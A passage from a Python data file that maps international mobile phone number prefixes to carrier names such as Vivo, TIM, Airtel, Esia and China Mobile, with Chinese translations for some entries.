'559398412':{'en': 'Claro BR'},
'6275198':{'en': 'Esia'},
'6222960':{'en': 'Esia'},
'558899640':{'en': 'TIM'},
'556798126':{'en': 'TIM'},
'59669699':{'en': 'Orange'},
'9175102':{'en': 'Idea'},
'9176350':{'en': 'Airtel'},
'55889961':{'en': 'TIM'},
'5926':{'en': 'Digicel Guyana'},
'556798128':{'en': 'TIM'},
'59669697':{'en': 'Digicel'},
'557998172':{'en': 'Claro BR'},
'9175591':{'en': 'Airtel'},
'557998171':{'en': 'Claro BR'},
'9181030':{'en': 'Reliance'},
'559498111':{'en': 'TIM'},
'559498113':{'en': 'TIM'},
'593998':{'en': 'Movistar'},
'559498115':{'en': 'TIM'},
'559498114':{'en': 'TIM'},
'559498117':{'en': 'TIM'},
'559498116':{'en': 'TIM'},
'559498119':{'en': 'TIM'},
'559498118':{'en': 'TIM'},
'5917348':{'en': 'Entel'},
'5917349':{'en': 'Entel'},
'917839':{'en': 'CellOne'},
'555499220':{'en': 'Claro BR'},
'555499221':{'en': 'Claro BR'},
'8536331':{'en': 'CTM'},
'8536330':{'en': 'CTM'},
'5917346':{'en': 'Entel'},
'5917347':{'en': 'Entel'},
'5917344':{'en': 'Entel'},
'8536334':{'en': 'CTM'},
'9181122':{'en': 'Reliance Jio'},
'601032':{'en': 'Celcom'},
'601033':{'en': 'Celcom'},
'601030':{'en': 'Celcom'},
'601031':{'en': 'Celcom'},
'601036':{'en': 'DiGi'},
'601037':{'en': 'DiGi'},
'601034':{'en': 'Celcom'},
'601035':{'en': 'Packet One'},
'918417':{'en': 'Idea'},
'918416':{'en': 'Idea'},
'601038':{'en': 'DiGi'},
'601039':{'en': 'DiGi'},
'918413':{'en': 'Hexacom'},
'918412':{'en': 'Vodafone'},
'556299683':{'en': 'Vivo'},
'556299682':{'en': 'Vivo'},
'556299681':{'en': 'Vivo'},
'556299687':{'en': 'Vivo'},
'556299686':{'en': 'Vivo'},
'556299685':{'en': 'Vivo'},
'556299684':{'en': 'Vivo'},
'556299689':{'en': 'Vivo'},
'556299688':{'en': 'Vivo'},
'559399901':{'en': 'Oi'},
'559399902':{'en': 'Oi'},
'559399903':{'en': 'Oi'},
'559399904':{'en': 'Oi'},
'559399908':{'en': 'Oi'},
'9180520':{'en': 'Vodafone'},
'6275194':{'en': 'Esia'},
'556498417':{'en': 'Brasil Telecom GSM'},
'556498416':{'en': 'Brasil Telecom GSM'},
'556498415':{'en': 'Brasil Telecom GSM'},
'556498414':{'en': 'Brasil Telecom GSM'},
'556498413':{'en': 'Brasil Telecom GSM'},
'556498412':{'en': 'Brasil Telecom GSM'},
'556498411':{'en': 'Brasil Telecom GSM'},
'918084':{'en': 'Airtel'},
'918085':{'en': 'Airtel'},
'9174549':{'en': 'Airtel'},
'9174548':{'en': 'Airtel'},
'918080':{'en': 'Reliance'},
'918081':{'en': 'Reliance'},
'556498419':{'en': 'Brasil Telecom GSM'},
'556498418':{'en': 'Brasil Telecom GSM'},
'556899995':{'en': 'Vivo'},
'556899994':{'en': 'Vivo'},
'556899997':{'en': 'Vivo'},
'556899996':{'en': 'Vivo'},
'556899991':{'en': 'Vivo'},
'556899993':{'en': 'Vivo'},
'556899992':{'en': 'Vivo'},
'556899999':{'en': 'Vivo'},
'556899998':{'en': 'Vivo'},
'8536558':{'en': 'China Telecom'},
'556699652':{'en': 'Vivo'},
'557799149':{'en': 'TIM'},
'658858':{'en': 'M1'},
'559299631':{'en': 'Oi'},
'917193':{'en': 'Airtel'},
'658765':{'en': 'StarHub'},
'658766':{'en': 'M1'},
'917190':{'en': 'Airtel'},
'917195':{'en': 'Airtel'},
'8536880':{'en': 'CTM'},
'8536883':{'en': 'CTM'},
'559199623':{'en': 'Oi'},
'559199622':{'en': 'Oi'},
'559199621':{'en': 'Oi'},
'8536550':{'en': 'CTM'},
'559199627':{'en': 'Oi'},
'559199626':{'en': 'Oi'},
'559199625':{'en': 'Oi'},
'559199624':{'en': 'Oi'},
'8536557':{'en': 'China Telecom'},
'559199629':{'en': 'Oi'},
'559199628':{'en': 'Oi'},
'8536556':{'en': 'China Telecom'},
'601833':{'en': 'YTL'},
'555398419':{'en': 'Brasil Telecom GSM'},
'555398418':{'en': 'Brasil Telecom GSM'},
'555398411':{'en': 'Brasil Telecom GSM'},
'555398413':{'en': 'Brasil Telecom GSM'},
'555398412':{'en': 'Brasil Telecom GSM'},
'555398415':{'en': 'Brasil Telecom GSM'},
'555398414':{'en': 'Brasil Telecom GSM'},
'555398417':{'en': 'Brasil Telecom GSM'},
'555398416':{'en': 'Brasil Telecom GSM'},
'601835':{'en': 'U Mobile'},
'9175940':{'en': 'Vodafone'},
'9175948':{'en': 'Vodafone'},
'9175949':{'en': 'Vodafone'},
'9181250':{'en': 'Tata Docomo'},
'9174148':{'en': 'Vodafone'},
'9180050':{'en': 'Cellone'},
'556698415':{'en': 'Brasil Telecom GSM'},
'556698414':{'en': 'Brasil Telecom GSM'},
'556698417':{'en': 'Brasil Telecom GSM'},
'556698416':{'en': 'Brasil Telecom GSM'},
'556698411':{'en': 'Brasil Telecom GSM'},
'556698413':{'en': 'Brasil Telecom GSM'},
'556698412':{'en': 'Brasil Telecom GSM'},
'556698419':{'en': 'Brasil Telecom GSM'},
'556698418':{'en': 'Brasil Telecom GSM'},
'62331985':{'en': 'Esia'},
'62331986':{'en': 'Esia'},
'62331987':{'en': 'Esia'},
'557599966':{'en': 'Vivo'},
'557599967':{'en': 'Vivo'},
'557599964':{'en': 'Vivo'},
'557599965':{'en': 'Vivo'},
'557599962':{'en': 'Vivo'},
'557599963':{'en': 'Vivo'},
'557599961':{'en': 'Vivo'},
'9172880':{'en': 'Idea'},
'9172888':{'en': 'Idea'},
'9172889':{'en': 'Idea'},
'9173680':{'en': 'Airtel'},
'9176419':{'en': 'Vodafone'},
'9176418':{'en': 'Vodafone'},
'9173689':{'en': 'Airtel'},
'9173688':{'en': 'Airtel'},
'65820':{'en': 'StarHub'},
'65827':{'en': 'M1'},
'65824':{'en': 'StarHub'},
'65825':{'en': 'StarHub'},
'5939993':{'en': 'Claro'},
'5939992':{'en': 'Movistar'},
'5939991':{'en': 'Claro'},
'5939990':{'en': 'Movistar'},
'5939997':{'en': 'Movistar'},
'5939996':{'en': 'Claro'},
'5939995':{'en': 'Claro'},
'5939994':{'en': 'Claro'},
'5939999':{'en': 'Movistar'},
'5939998':{'en': 'Movistar'},
'558799253':{'en': 'Claro BR'},
'9174309':{'en': 'Vodafone'},
'9174308':{'en': 'Vodafone'},
'9174300':{'en': 'Vodafone'},
'6234391':{'en': 'Esia'},
'918052':{'en': 'Vodafone'},
'9177458':{'en': 'Idea'},
'9177459':{'en': 'Idea'},
'9174329':{'en': 'Vodafone'},
'9172290':{'en': 'Airtel'},
'9177450':{'en': 'Idea'},
'9174328':{'en': 'Vodafone'},
'5699145':{'en': 'Movistar'},
'559898149':{'en': 'TIM'},
'558299629':{'en': 'TIM'},
'558299628':{'en': 'TIM'},
'558299627':{'en': 'TIM'},
'9172298':{'en': 'Vodafone'},
'918123':{'en': 'Tata Docomo'},
'558299625':{'en': 'TIM'},
'9180058':{'en': 'Reliance Jio'},
'658221':{'en': 'StarHub'},
'658220':{'en': 'StarHub'},
'658223':{'en': 'SingTel'},
'558299624':{'en': 'TIM'},
'658225':{'en': 'StarHub'},
'658224':{'en': 'StarHub'},
'658227':{'en': 'StarHub'},
'658226':{'en': 'StarHub'},
'57351':{'en': 'Avantel'},
'57350':{'en': 'Avantel'},
'8536814':{'en': 'CTM'},
'8536815':{'en': 'SmarTone'},
'8536812':{'en': 'CTM'},
'8536813':{'en': 'CTM'},
'8536810':{'en': 'CTM'},
'558299622':{'en': 'TIM'},
'557799973':{'en': 'Vivo'},
'557799972':{'en': 'Vivo'},
'557799971':{'en': 'Vivo'},
'557799970':{'en': 'Vivo'},
'557799977':{'en': 'Vivo'},
'557799976':{'en': 'Vivo'},
'557799975':{'en': 'Vivo'},
'557799974':{'en': 'Vivo'},
'559898145':{'en': 'TIM'},
'852926':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852927':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852924':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852925':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'6221561':{'en': 'Esia'},
'852923':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852920':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852921':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'8536817':{'en': 'SmarTone'},
'852928':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'659819':{'en': 'SingTel'},
'6276299':{'en': 'Esia'},
'6276298':{'en': 'Esia'},
'658593':{'en': 'StarHub'},
'658592':{'en': 'StarHub'},
'658594':{'en': 'StarHub'},
'556199682':{'en': 'Vivo'},
'556199683':{'en': 'Vivo'},
'556199681':{'en': 'Vivo'},
'556199686':{'en': 'Vivo'},
'556199687':{'en': 'Vivo'},
'556199684':{'en': 'Vivo'},
'556199685':{'en': 'Vivo'},
'556199688':{'en': 'Vivo'},
'556199689':{'en': 'Vivo'},
'9180950':{'en': 'Vodafone'},
'9175300':{'en': 'Airtel'},
'659815':{'en': 'SingTel'},
'9176788':{'en': 'Idea'},
'9176338':{'en': 'Airtel'},
'659814':{'en': 'StarHub'},
'9176339':{'en': 'Airtel'},
'9176786':{'en': 'Reliance Jio'},
'62219':{'en': 'Esia'},
'6691':{'en': 'DTAC'},
'6690':{'en': 'DTAC'},
'9176783':{'en': 'Reliance Jio'},
'9176782':{'en': 'Reliance Jio'},
'9176781':{'en': 'Reliance Jio'},
'9176780':{'en': 'Airtel'},
'9176330':{'en': 'Airtel'},
'6272599':{'en': 'Esia'},
'559198239':{'en': 'TIM'},
'559198238':{'en': 'TIM'},
'559198233':{'en': 'TIM'},
'559198232':{'en': 'TIM'},
'559198231':{'en': 'TIM'},
'9177439':{'en': 'Idea'},
'559198237':{'en': 'TIM'},
'559198236':{'en': 'TIM'},
'559198235':{'en': 'TIM'},
'559198234':{'en': 'TIM'},
'559899101':{'en': 'Vivo'},
'917563':{'en': 'Idea'},
'559899103':{'en': 'Vivo'},
'559899102':{'en': 'Vivo'},
'559899105':{'en': 'Vivo'},
'559899104':{'en': 'Vivo'},
'559899107':{'en': 'Vivo'},
'559899106':{'en': 'Vivo'},
'559899108':{'en': 'Vivo'},
'917568':{'en': 'Hexacom'},
'917569':{'en': 'Reliance'},
'9174950':{'en': 'Tata Docomo'},
'6276196':{'en': 'Esia'},
'569710':{'en': 'Entel'},
'569711':{'en': 'CIT LTDA'},
'569712':{'en': 'Movistar'},
'569713':{'en': 'Movistar'},
'569714':{'en': 'Movistar'},
'569715':{'en': 'Movistar'},
'569716':{'en': 'Movistar'},
'569717':{'en': 'Claro'},
'569718':{'en': 'Claro'},
'569719':{'en': 'Claro'},
'918273':{'en': 'Telewings'},
'918272':{'en': 'Tata Docomo'},
'918271':{'en': 'Telewings'},
'918270':{'en': 'Vodafone'},
'918277':{'en': 'CellOne'},
'5581999':{'en': 'TIM'},
'918275':{'en': 'CellOne'},
'918274':{'en': 'Tata Docomo'},
'5581994':{'en': 'Claro BR'},
'5581996':{'en': 'TIM'},
'9180990':{'en': 'Reliance'},
'5581991':{'en': 'Claro BR'},
'5581992':{'en': 'Claro BR'},
'6276198':{'en': 'Esia'},
'9176080':{'en': 'Airtel'},
'55869810':{'en': 'Vivo'},
'55869811':{'en': 'Vivo'},
'55869812':{'en': 'Vivo'},
'55869813':{'en': 'Vivo'},
'9176088':{'en': 'Airtel'},
'9176089':{'en': 'Airtel'},
'917386':{'en': 'Telewings'},
'917387':{'en': 'Airtel'},
'917384':{'en': 'Vodafone'},
'917385':{'en': 'Telewings'},
'917382':{'en': 'CellOne'},
'917383':{'en': 'Telewings'},
'917381':{'en': 'Vodafone'},
'917388':{'en': 'Airtel'},
'917389':{'en': 'Airtel'},
'62426996':{'en': 'Esia'},
'62426997':{'en': 'Esia'},
'62426995':{'en': 'Esia'},
'62426998':{'en': 'Esia'},
'62426999':{'en': 'Esia'},
'557799191':{'en': 'TIM'},
'61467':{'en': 'Telstra'},
'557799193':{'en': 'TIM'},
'557799194':{'en': 'TIM'},
'557799199':{'en': 'TIM'},
'557799198':{'en': 'TIM'},
'61468':{'en': 'Optus'},
'61469':{'en': 'Lycamobile'},
'559499664':{'en': 'Oi'},
'556699686':{'en': 'Vivo'},
'556699685':{'en': 'Vivo'},
'559499667':{'en': 'Oi'},
'556699683':{'en': 'Vivo'},
'556699682':{'en': 'Vivo'},
'559499662':{'en': 'Oi'},
'558899622':{'en': 'TIM'},
'559499668':{'en': 'Oi'},
'558899628':{'en': 'TIM'},
'556699689':{'en': 'Vivo'},
'556699688':{'en': 'Vivo'},
'9182668':{'en': 'Tata Docomo'},
'918120':{'en': 'Idea'},
'6274198':{'en': 'Esia'},
'6274199':{'en': 'Esia'},
'6274197':{'en': 'Esia'},
'8536618':{'en': 'CTM'},
'556399961':{'en': 'Vivo'},
'556399963':{'en': 'Vivo'},
'556399962':{'en': 'Vivo'},
'556399965':{'en': 'Vivo'},
'556399964':{'en': 'Vivo'},
'556399967':{'en': 'Vivo'},
'556399966':{'en': 'Vivo'},
'556399969':{'en': 'Vivo'},
'556399968':{'en': 'Vivo'},
'6229490':{'en': 'Esia'},
'559799901':{'en': 'Oi'},
'559799902':{'en': 'Oi'},
'559799903':{'en': 'Oi'},
'8536616':{'en': '3'},
'556499902':{'en': 'Vivo'},
'559498136':{'en': 'TIM'},
'559498135':{'en': 'TIM'},
'559498134':{'en': 'TIM'},
'556499906':{'en': 'Vivo'},
'559498132':{'en': 'TIM'},
'559498131':{'en': 'TIM'},
'556499905':{'en': 'Vivo'},
'8536610':{'en': '3'},
'8536649':{'en': 'China Telecom'},
'8536648':{'en': '3'},
'559498139':{'en': 'TIM'},
'559498138':{'en': 'TIM'},
'8536340':{'en': 'China Telecom'},
'8536613':{'en': 'CTM'},
'9180070':{'en': 'Vodafone'},
'62735988':{'en': 'Esia'},
'62735989':{'en': 'Esia'},
'556299805':{'en': 'Vivo'},
'556299804':{'en': 'Vivo'},
'556299807':{'en': 'Vivo'},
'556299806':{'en': 'Vivo'},
'556299801':{'en': 'Vivo'},
'556299803':{'en': 'Vivo'},
'556299802':{'en': 'Vivo'},
'556299809':{'en': 'Vivo'},
'556299808':{'en': 'Vivo'},
'623996':{'en': 'Esia'},
'8536304':{'en': '3'},
'623991':{'en': 'Esia'},
'623990':{'en': 'Esia'},
'623993':{'en': 'Esia'},
'623992':{'en': 'Esia'},
'558298141':{'en': 'Vivo'},
'558298140':{'en': 'Vivo'},
'558298143':{'en': 'Vivo'},
'558298142':{'en': 'Vivo'},
'9181143':{'en': 'Airtel'},
'9181142':{'en': 'Idea'},
'9181141':{'en': 'Idea'},
'9181140':{'en': 'Idea'},
'9176510':{'en': 'CellOne'},
'9181146':{'en': 'Airtel'},
'9181144':{'en': 'Reliance Jio'},
'622491':{'en': 'Esia'},
'9181148':{'en': 'Airtel'},
'9180540':{'en': 'Vodafone'},
'9174569':{'en': 'Airtel'},
'9174568':{'en': 'Airtel'},
'9174560':{'en': 'Airtel'},
'918115':{'en': 'UNITECH'},
'557199979':{'en': 'Vivo'},
'557199978':{'en': 'Vivo'},
'5598985':{'en': 'Oi'},
'5598987':{'en': 'Oi'},
'5598986':{'en': 'Oi'},
'557199971':{'en': 'Vivo'},
'5598988':{'en': 'Oi'},
'557199973':{'en': 'Vivo'},
'557199972':{'en': 'Vivo'},
'557199975':{'en': 'Vivo'},
'557199974':{'en': 'Vivo'},
'557199977':{'en': 'Vivo'},
'557199976':{'en': 'Vivo'},
'6221802':{'en': 'Esia'},
'6221803':{'en': 'Esia'},
'6221807':{'en': 'Esia'},
'918401':{'en': 'Telewings'},
'9178879':{'en': 'Idea'},
'9178878':{'en': 'Idea'},
'9177910':{'en': 'Aircel'},
'658788':{'en': 'M1'},
'658789':{'en': 'StarHub'},
'658786':{'en': 'M1'},
'658787':{'en': 'M1'},
'658782':{'en': 'M1'},
'658783':{'en': 'M1'},
'658781':{'en': 'M1'},
'918406':{'en': 'Vodafone'},
'9174140':{'en': 'Vodafone'},
'569527':{'en': 'Falabella Movil'},
'569526':{'en': 'Falabella Movil'},
'569525':{'en': 'Virgin Mobile'},
'569524':{'en': 'Virgin Mobile'},
'569523':{'en': 'Entel'},
'569522':{'en': 'Entel'},
'569521':{'en': 'Entel'},
'569520':{'en': 'Entel'},
'569529':{'en': 'Falabella Movil'},
'569528':{'en': 'Falabella Movil'},
'67989':{'en': 'Vodafone'},
'559699933':{'en': 'Oi'},
'555398437':{'en': 'Brasil Telecom GSM'},
'555398436':{'en': 'Brasil Telecom GSM'},
'555398435':{'en': 'Brasil Telecom GSM'},
'555398434':{'en': 'Brasil Telecom GSM'},
'555398433':{'en': 'Brasil Telecom GSM'},
'555398432':{'en': 'Brasil Telecom GSM'},
'555398431':{'en': 'Brasil Telecom GSM'},
'67984':{'en': 'Vodafone'},
'917719':{'en': 'Idea'},
'917718':{'en': 'Airtel'},
'9178875':{'en': 'Idea'},
'6011148':{'en': 'Celcom'},
'6011149':{'en': 'Celcom'},
'6011146':{'en': 'Celcom'},
'6011147':{'en': 'Celcom'},
'6011144':{'en': 'Maxis'},
'6011145':{'en': 'Celcom'},
'6011142':{'en': 'Maxis'},
'6011143':{'en': 'Maxis'},
'6011140':{'en': 'Maxis'},
'6011141':{'en': 'Maxis'},
'9175968':{'en': 'Airtel'},
'9175969':{'en': 'Airtel'},
'9175218':{'en': 'Airtel'},
'9175219':{'en': 'Airtel'},
'9175960':{'en': 'Airtel'},
'9175210':{'en': 'Airtel'},
'918016':{'en': 'Airtel'},
'556999916':{'en': 'Vivo'},
'556999917':{'en': 'Vivo'},
'556999914':{'en': 'Vivo'},
'556999915':{'en': 'Vivo'},
'556999912':{'en': 'Vivo'},
'556999913':{'en': 'Vivo'},
'556999911':{'en': 'Vivo'},
'66854':{'en': 'AIS'},
'556999918':{'en': 'Vivo'},
'556999919':{'en': 'Vivo'},
'5699998':{'en': 'Entel'},
'5699999':{'en': 'Entel'},
'5699990':{'en': 'Tesacom'},
'5699991':{'en': 'Entel'},
'5699992':{'en': 'Entel'},
'5699993':{'en': 'Entel'},
'5699994':{'en': 'Entel'},
'5699995':{'en': 'Entel'},
'5699996':{'en': 'Entel'},
'5699997':{'en': 'Entel'},
'55929998':{'en': 'Oi'},
'9176044':{'en': 'Reliance'},
'9176045':{'en': 'Reliance'},
'918262':{'en': 'Reliance'},
'9176046':{'en': 'Reliance'},
'9176439':{'en': 'Telenor'},
'9176438':{'en': 'Telenor'},
'9176040':{'en': 'Airtel'},
'9176041':{'en': 'Reliance'},
'558799901':{'en': 'TIM'},
'9178128':{'en': 'Reliance'},
'558799902':{'en': 'TIM'},
'853635':{'en': 'China Telecom'},
'853636':{'en': 'SmarTone'},
'9178120':{'en': 'Reliance'},
'9174369':{'en': 'Vodafone'},
'9174368':{'en': 'Vodafone'},
'5592992':{'en': 'Vivo'},
'65901':{'en': 'SingTel'},
'65903':{'en': 'SingTel'},
'9173375':{'en': 'Airtel'},
'9173374':{'en': 'Airtel'},
'9173377':{'en': 'Airtel'},
'65902':{'en': 'StarHub'},
'9173370':{'en': 'Airtel'},
'9173373':{'en': 'Airtel'},
'9173372':{'en': 'Airtel'},
'9176048':{'en': 'Reliance'},
'9173378':{'en': 'Airtel'},
'65904':{'en': 'M1'},
'6226790':{'en': 'Esia'},
'65907':{'en': 'M1'},
'65906':{'en': 'StarHub'},
'9175511':{'en': 'Aircel'},
'9175510':{'en': 'Vodafone'},
'9181569':{'en': 'Idea'},
'55559991':{'en': 'Vivo'},
'55559990':{'en': 'Vivo'},
'558199750':{'en': 'TIM'},
'55559992':{'en': 'Vivo'},
'60182':{'en': 'U Mobile'},
'5589987':{'en': 'Oi'},
'5589986':{'en': 'Oi'},
'5589985':{'en': 'Oi'},
'5589989':{'en': 'Oi'},
'5589988':{'en': 'Oi'},
'9173807':{'en': 'Airtel'},
'9173806':{'en': 'Airtel'},
'9173805':{'en': 'Airtel'},
'9173804':{'en': 'Airtel'},
'9173803':{'en': 'Airtel'},
'9173304':{'en': 'Aircel'},
'9173801':{'en': 'Vodafone'},
'9173800':{'en': 'Vodafone'},
'9173809':{'en': 'Airtel'},
'9173808':{'en': 'Airtel'},
'852901':{'en': 'SmarTone', 'zh': u('\u6570\u7801\u901a'), 'zh_Hant': u('\u6578\u78bc\u901a')},
'852902':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852903':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852904':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852905':{'en': 'CM Mobile', 'zh': u('\u6da6\u8fc5\u901a\u4fe1'), 'zh_Hant': u('\u6f64\u8fc5\u901a\u4fe1')},
'852906':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852907':{'en': 'PCCW Mobile', 'zh': u('\u9999\u6e2f\u79fb\u52a8\u901a\u8baf'), 'zh_Hant': u('\u9999\u6e2f\u79fb\u52d5\u901a\u8a0a')},
'852908':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852909':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'9177470':{'en': 'Idea'},
'9177478':{'en': 'Idea'},
'9177479':{'en': 'Idea'},
'9182650':{'en': 'Reliance'},
'601898':{'en': 'U Mobile'},
'9181080':{'en': 'Idea'},
'569959':{'en': 'Entel'},
'569956':{'en': 'Movistar'},
'569957':{'en': 'Entel'},
'569954':{'en': 'Movistar'},
'569955':{'en': 'Movistar'},
'569952':{'en': 'Movistar'},
'569953':{'en': 'Movistar'},
'569950':{'en': 'Entel'},
'569951':{'en': 'Entel'},
'558798120':{'en': 'Vivo'},
'556199669':{'en': 'Vivo'},
'601890':{'en': 'U Mobile'},
'601891':{'en': 'U Mobile'},
'556199664':{'en': 'Vivo'},
'558399382':{'en': 'Claro BR'},
'6277898':{'en': 'Esia'},
'556199665':{'en': 'Vivo'},
'6277896':{'en': 'Esia'},
'6277897':{'en': 'Esia'},
'569990':{'en': 'Movistar'},
'6277891':{'en': 'Esia'},
'569991':{'en': 'Entel'},
'557599999':{'en': 'Vivo'},
'599770':{'en': 'Kla'},
'559399169':{'en': 'Vivo'},
'599777':{'en': 'Kla'},
'557599997':{'en': 'Vivo'},
'556199662':{'en': 'Vivo'},
'557599996':{'en': 'Vivo'},
'556199663':{'en': 'Vivo'},
'917807':{'en': 'Airtel'},
'659334':{'en': 'SingTel'},
'659335':{'en': 'StarHub'},
'659336':{'en': 'StarHub'},
'557599994':{'en': 'Vivo'},
'557599993':{'en': 'Vivo'},
'659338':{'en': 'StarHub'},
'659339':{'en': 'StarHub'},
'557599992':{'en': 'Vivo'},
'557599990':{'en': 'Vivo'},
'557599194':{'en': 'TIM'},
'557599193':{'en': 'TIM'},
'557599192':{'en': 'TIM'},
'557599191':{'en': 'TIM'},
'557599199':{'en': 'TIM'},
'557599198':{'en': 'TIM'},
'559899127':{'en': 'Vivo'},
'559899126':{'en': 'Vivo'},
'556198179':{'en': 'TIM'},
'556198178':{'en': 'TIM'},
'559899123':{'en': 'Vivo'},
'559899122':{'en': 'Vivo'},
'559899121':{'en': 'Vivo'},
'9177899':{'en': 'Idea'},
'556198173':{'en': 'TIM'},
'556198172':{'en': 'TIM'},
'556198171':{'en': 'TIM'},
'601596':{'en': 'DiGi'},
'556198177':{'en': 'TIM'},
'556198176':{'en': 'TIM'},
'556198175':{'en': 'TIM'},
'559899128':{'en': 'Vivo'},
'917505':{'en': 'Reliance'},
'60154851':{'en': 'Maxis'},
'569779':{'en': 'Claro'},
'9175440':{'en': 'Airtel'},
'60154854':{'en': 'GITN'},
'569772':{'en': 'Movistar'},
'569773':{'en': 'Movistar'},
'559499231':{'en': 'Vivo'},
'569771':{'en': 'Movistar'},
'569776':{'en': 'Entel'},
'569777':{'en': 'Claro'},
'569774':{'en': 'Entel'},
'569775':{'en': 'Entel'},
'659194':{'en': 'M1'},
'8536382':{'en': '3'},
'62283986':{'en': 'Esia'},
'62283987':{'en': 'Esia'},
'62283985':{'en': 'Esia'},
'918295':{'en': 'Airtel'},
'918294':{'en': 'Airtel'},
'62283988':{'en': 'Esia'},
'62283989':{'en': 'Esia'},
'918291':{'en': 'UNITECH'},
'659196':{'en': 'M1'},
'918293':{'en': 'Tata Docomo'},
'918292':{'en': 'Airtel'},
'9173600':{'en': 'Vodafone'},
'659190':{'en': 'M1'},
'659191':{'en': 'M1'},
'55819930':{'en': 'Claro BR'},
'55819931':{'en': 'Claro BR'},
'55819932':{'en': 'Claro BR'},
'55819933':{'en': 'Claro BR'},
'55819934':{'en': 'Claro BR'},
'55819935':{'en': 'Claro BR'},
'55819936':{'en': 'Claro BR'},
'659193':{'en': 'M1'},
'556699913':{'en': 'Vivo'},
'556699912':{'en': 'Vivo'},
'556699911':{'en': 'Vivo'},
'9181848':{'en': 'Idea'},
'86133':{'en': 'China Telecom', 'zh': u('\u4e2d\u56fd\u7535\u4fe1'), 'zh_Hant': u('\u4e2d\u570b\u96fb\u4fe1')},
'86132':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'86131':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'86130':{'en': 'China Unicom', 'zh': u('\u4e2d\u56fd\u8054\u901a'), 'zh_Hant': u('\u4e2d\u570b\u806f\u901a')},
'86137':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86136':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86135':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86139':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'86138':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'558899609':{'en': 'TIM'},
'558899608':{'en': 'TIM'},
'61448':{'en': 'Telstra'},
'61449':{'en': 'Vodafone'},
'558899603':{'en': 'TIM'},
'558899602':{'en': 'TIM'},
'558899601':{'en': 'TIM'},
'61447':{'en': 'Telstra'},
'558899607':{'en': 'TIM'},
'558899606':{'en': 'TIM'},
'558899605':{'en': 'TIM'},
'558899604':{'en': 'TIM'},
'9176328':{'en': 'Airtel'},
'9174708':{'en': 'Airtel'},
'5696780':{'en': 'Mavi'},
'5696785':{'en': 'Entel'},
'5696786':{'en': 'Entel'},
'5696787':{'en': 'Entel'},
'5696788':{'en': 'Entel'},
'5696789':{'en': 'Entel'},
'559299991':{'en': 'Oi'},
'559299994':{'en': 'Oi'},
'559299995':{'en': 'Oi'},
'559299996':{'en': 'Oi'},
'559299997':{'en': 'Oi'},
'559299998':{'en': 'Oi'},
'559299999':{'en': 'Oi'},
'556399947':{'en': 'Vivo'},
'556399946':{'en': 'Vivo'},
'556399945':{'en': 'Vivo'},
'556399944':{'en': 'Vivo'},
'556399943':{'en': 'Vivo'},
'556399942':{'en': 'Vivo'},
'56989':{'en': 'Movistar'},
'56986':{'en': 'Claro'},
'56985':{'en': 'Movistar'},
'56983':{'en': 'Movistar'},
'56982':{'en': 'Entel'},
'556399949':{'en': 'Vivo'},
'56980':{'en': 'Entel'},
'6271399':{'en': 'Esia'},
'559498155':{'en': 'TIM'},
'559498154':{'en': 'TIM'},
'559498157':{'en': 'TIM'},
'559498156':{'en': 'TIM'},
'555499912':{'en': 'Vivo'},
'555499913':{'en': 'Vivo'},
'555499911':{'en': 'Vivo'},
'555499916':{'en': 'Vivo'},
'555499917':{'en': 'Vivo'},
'555499914':{'en': 'Vivo'},
'555499915':{'en': 'Vivo'},
'555499918':{'en': 'Vivo'},
'555499919':{'en': 'Vivo'},
'9181768':{'en': 'Tata Docomo'},
'599968':{'en': 'Digicel'},
'599969':{'en': 'Digicel'},
'599965':{'en': 'Digicel'},
'599966':{'en': 'Digicel'},
'599967':{'en': 'Digicel'},
'556199831':{'en': 'Vivo'},
'599961':{'en': 'CSC'},
'599963':{'en': 'GSM Caribbean'},
'85589':{'en': 'Cellcard'},
'6228699':{'en': 'Esia'},
'8536209':{'en': 'CTM'},
'8536208':{'en': 'CTM'},
'8536559':{'en': 'China Telecom'},
'559899608':{'en': 'Oi'},
'559899609':{'en': 'Oi'},
